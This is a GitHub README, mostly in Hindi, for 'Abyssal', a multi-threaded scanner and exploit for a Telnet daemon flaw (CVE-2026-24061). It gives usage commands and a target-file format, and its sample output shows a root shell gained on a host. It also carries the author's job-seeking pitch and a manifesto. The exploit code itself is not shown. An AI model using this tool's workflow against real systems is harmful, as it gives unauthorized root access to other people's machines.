stoerti2/abyssalAbyssal CVE-2026-24061 के लिए एक उच्च-प्रदर्शन Telnet भेद्यता स्कैनर है, जो गलत-सकारात्मक पहचान के साथ कमजोर सिस्टम पर रूट शेल प्रदान करता है।
CVE-2026-24061 Telnet भेद्यता स्कैनर और एक्सप्लॉइट
गहराई से, हम उठते हैं।
मल्टी-थ्रेडेड, गलत-सकारात्मक पहचान, सफलता पर इंटरैक्टिव रूट शेल।
यह प्रोजेक्ट एक अनुभवी आईटी पेशेवर द्वारा बनाया गया है, जिसके पास नेटवर्क सुरक्षा, बुनियादी ढाँचे और सॉफ्टवेयर विकास में दशकों का हाथों-हाथ काम है। 55 वर्ष की आयु में, मैं सक्रिय रूप से नए अवसरों की तलाश कर रहा हूँ—चाहे वह पूर्णकालिक कर्मचारी, फ्रीलांसर या प्रोजेक्ट सहयोगी के रूप में हो। यदि आप अनुभव, गहन तकनीकी ज्ञान और समस्या-समाधान के लिए एक व्यावहारिक दृष्टिकोण को महत्व देते हैं, तो आइए जुड़ें।
📫 मैं दुनिया भर में नौकरी के अवसरों के लिए खुला हूँ।
✉️ संपर्क: [[email protected]]
📖 उपयोग
बुनियादी स्कैन (गैर-इंटरैक्टिव)
python3 abyssal.py -f targets.txt
इंटरैक्टिव मोड (सफलता पर शेल प्राप्त करें)
python3 abyssal.py -f targets.txt --interactive
उन्नत विकल्प
python3 abyssal.py -f targets.txt -t 20 --interactive -o scan.log
कमांड लाइन विकल्प
| विकल्प | विवरण |
|---|---|
| -f, --file | IP पतों वाली फ़ाइल (डिफ़ॉल्ट: ip_list.txt) |
| -t, --threads | समानांतर थ्रेड्स की संख्या (डिफ़ॉल्ट: 10) |
| -i, --interactive | इंटरैक्टिव मोड — असुरक्षित सिस्टम पर शेल प्राप्त करें |
| -o, --output | लॉग फ़ाइल का नाम (यदि निर्दिष्ट नहीं है तो स्वतः उत्पन्न) |
| -c, --connect-timeout | कनेक्शन टाइमआउट सेकंड में (डिफ़ॉल्ट: 5) |
| -s, --session-timeout | सत्र टाइमआउट सेकंड में (डिफ़ॉल्ट: 10) |
| --version | संस्करण जानकारी दिखाएँ |
| -h, --help | सहायता संदेश दिखाएँ |
📂 लक्ष्य फ़ाइल प्रारूप एक फ़ाइल बनाएँ जिसमें प्रति पंक्ति एक लक्ष्य हो:
# Single IPs
192.168.1.100
10.0.0.50
# IP with custom port
192.168.1.200:2323
# Subnet (CIDR) — support coming soon
# 192.168.1.0/24
# Comments are allowed
172.16.1.25 # Office server
📊 उदाहरण आउटपुट
╔═══════════════════════════════════════════════════════════════════════════════╗
║ ║
║ █████╗ ██████╗ ██╗ ██╗███████╗███████╗ █████╗ ██╗ ║
║ ██╔══██╗██╔══██╗╚██╗ ██╔╝██╔════╝██╔════╝██╔══██╗██║ ║
║ ███████║██████╔╝ ╚████╔╝ ███████╗███████╗███████║██║ ║
║ ██╔══██║██╔══██╗ ╚██╔╝ ╚════██║╚════██║██╔══██║██║ ║
║ ██║ ██║██████╔╝ ██║ ███████║███████║██║ ██║███████╗ ║
║ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝ ║
║ ║
║ Abyssal - CVE-2026-24061 Telnet Vulnerability Scanner ║
║ "From the depths, we rise." ║
║ ║
║ Built by: Klaus Baumdick ║
║ Contact: [email protected] ║
║ Status: Open for new opportunities worldwide ║
║ ║
╚═══════════════════════════════════════════════════════════════════════════════╝
⚠️ INTERACTIVE MODE ENABLED!
On REAL login prompt or shell, control will be passed to you.
False positives are automatically detected and ignored.
Press CTRL+C to abort.
Starting scan with 10 parallel threads
Total: 100 targets to test
============================================================
🎯 REAL ROOT SHELL (#) ON 192.168.1.100:23 OBTAINED!
============================================================
>>> You now have shell access!
>>> Execute any commands (whoami, id, ls, etc.)
>>> Type 'exit' or press CTRL+C to close
------------------------------------------------------------
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
[*] Session on 192.168.1.100:23 closed.
============================================================
SCAN COMPLETED
============================================================
Duration: 45.23 seconds
Targets tested: 100
📊 SUMMARY:
✅ REAL VULNERABLE: 15
🔒 PROTECTED: 42
❓ FAILED: 23
🌐 UNREACHABLE: 20
⚠️ FALSE POSITIVES: 0
🚨 SECURITY WARNING:
15 system(s) are REALLY vulnerable to CVE-2026-24061!
→ Disable or patch Telnet immediately!
→ Use SSH as a secure alternative!
⚠️ Disclaimer
This tool is for authorized security testing and educational purposes only.
Only use on systems you own or have explicit written permission to test
Unauthorized access to computer systems is illegal
The author assumes no responsibility for misuse of this tool
Use responsibly and at your own risk
📝 लाइसेंस
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है — विवरण के लिए LICENSE फ़ाइल देखें।
🤝 जुड़ें
Klaus Baumdick 📫 ईमेल: [email protected]
🔗 GitHub: github.com/stoerti2
📌 स्थिति: दुनिया भर में नए अवसरों के लिए खुला
📚 संदर्भ
CVE-2026-24061
GNU InetUtils Telnetd Vulnerability
git clone https://github.com/stoerti2/abyssal.git
#┌────────────────────────────────────────────────────────────────────────┐
#│ │
#│ ███████╗████████╗ ██████╗ ███████╗██████╗ ████████╗██╗ │
#│ ██╔════╝╚══██╔══╝██╔═══██╗██╔════╝██╔══██╗╚══██╔══╝██║ │
#│ ███████╗ ██║ ██║ ██║█████╗ ██████╔╝ ██║ ██║ │
#│ ╚════██║ ██║ ██║ ██║██╔══╝ ██╔══██╗ ██║ ██║ │
#│ ███████║ ██║ ╚██████╔╝███████╗██║ ██║ ██║ ██║ │
#│ ╚══════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ │
#│ │
#│ "old school, still root" │
#│ "stoerti - the jobless hacker" │
#│ │
#│ ┌──────────────────────────────────────────────────────────────┐ │
#│ │ 40 years in the trenches. │ 6 months unemployed in DE. │ │
#│ │ They fired the one who knew. │ This is my legacy. │ │
#│ │ -- no patches for reality -- │ │
#│ └──────────────────────────────────────────────────────────────┘ │
#│ │
#└────────────────────────────────────────────────────────────────────────┘
Grindware क्या है?
Grindware वह सॉफ्टवेयर है जो इसलिए मौजूद है क्योंकि कोई मुझे उन चीज़ों के निर्माण के लिए भुगतान नहीं करता जो वास्तव में मायने रखती हैं।
मैं छह महीने से बेरोजगार हूँ। इसलिए नहीं कि मैं कोड नहीं कर सकता – बल्कि इसलिए कि बाजार अब कौशल की परवाह नहीं करता। वह बज़वर्ड्स, प्रमाणपत्रों और आप किसे जानते हैं, की परवाह करता है। इसलिए एक ऐसी नौकरी का इंतज़ार करने के बजाय जो कभी आती ही नहीं, मैं बनाता हूँ।
Grindware इसी का परिणाम है।
आवश्यकता से निर्मित – लाभ के लिए नहीं, निवेशकों के लिए नहीं, किसी उत्पाद रोडमैप के लिए नहीं। इसलिए बनाया गया क्योंकि किसी चीज़ का अस्तित्व आवश्यक था और कोई और इसे नहीं बनाने वाला था।
मुफ्त में जारी – क्योंकि कोड को पेवॉल के पीछे बंद करना गलत लगता है जब आप जानते हैं कि कुछ न होना कैसा होता है।
ईमानदार – कोई मार्केटिंग फ्लफ नहीं, कोई "एंटरप्राइज़-ग्रेड" बकवास नहीं। बस कोड जो काम करता है।
अपरिष्कृत लेकिन कार्यात्मक – यह काम करवा देता है। यदि आपको एक सुंदर UI चाहिए, तो कहीं और जाएँ।
क्योंकि यह वही है। कोड जो ग्राइंड के दौरान लिखा गया। देर रातों के दौरान। 47वीं नौकरी की अस्वीकृति के दौरान। उन पलों के दौरान जब आपको एहसास होता है कि सिस्टम आपकी परवाह नहीं करता, तो क्यों न आप अपना खुद का निर्माण करें।
Grindware उत्तरजीविता कोड है।
वे डेवलपर्स जो कॉर्पोरेट बकवास से थक चुके हैं
सुरक्षा शोधकर्ता जिन्हें ऐसे उपकरण चाहिए जो वास्तव में काम करते हैं
कोई भी जो मानता है कि सॉफ्टवेयर उपयोगी होना चाहिए, न कि केवल लाभदायक
वे लोग जो भी ग्राइंड कर रहे हैं
कोई कंपनी नहीं
कोई स्टार्टअप नहीं
कोई उत्पाद नहीं
बिक्री के लिए नहीं
Grindware सिर्फ कोड है। एक बेरोजगार डेवलपर से दुनिया तक।
यदि आप Grindware का उपयोग करते हैं, तो यह काफी है। यदि आप इसका समर्थन करना चाहते हैं, तो आप यह कर सकते हैं:
⭐ रिपॉजिटरी को स्टार करें
🐛 बग्स की रिपोर्ट करें
🔧 कोड का योगदान करें
💬 इसे किसी ऐसे व्यक्ति के साथ साझा करें जिसे इसकी आवश्यकता हो सकती है
मैं हमेशा काम के लिए खुला हूँ। यदि आपको एक ऐसे डेवलपर की आवश्यकता है जो वास्तव में चीज़ें बनाता है, तो बात करते हैं।
Grindware – ग्राइंड में निर्मित, मुफ्त में जारी।
इस डेटासेट के बारे में प्रश्नों या पूछताछ के लिए, कृपया [email protected] से संपर्क करें
अंतिम अद्यतन: जुलाई 2026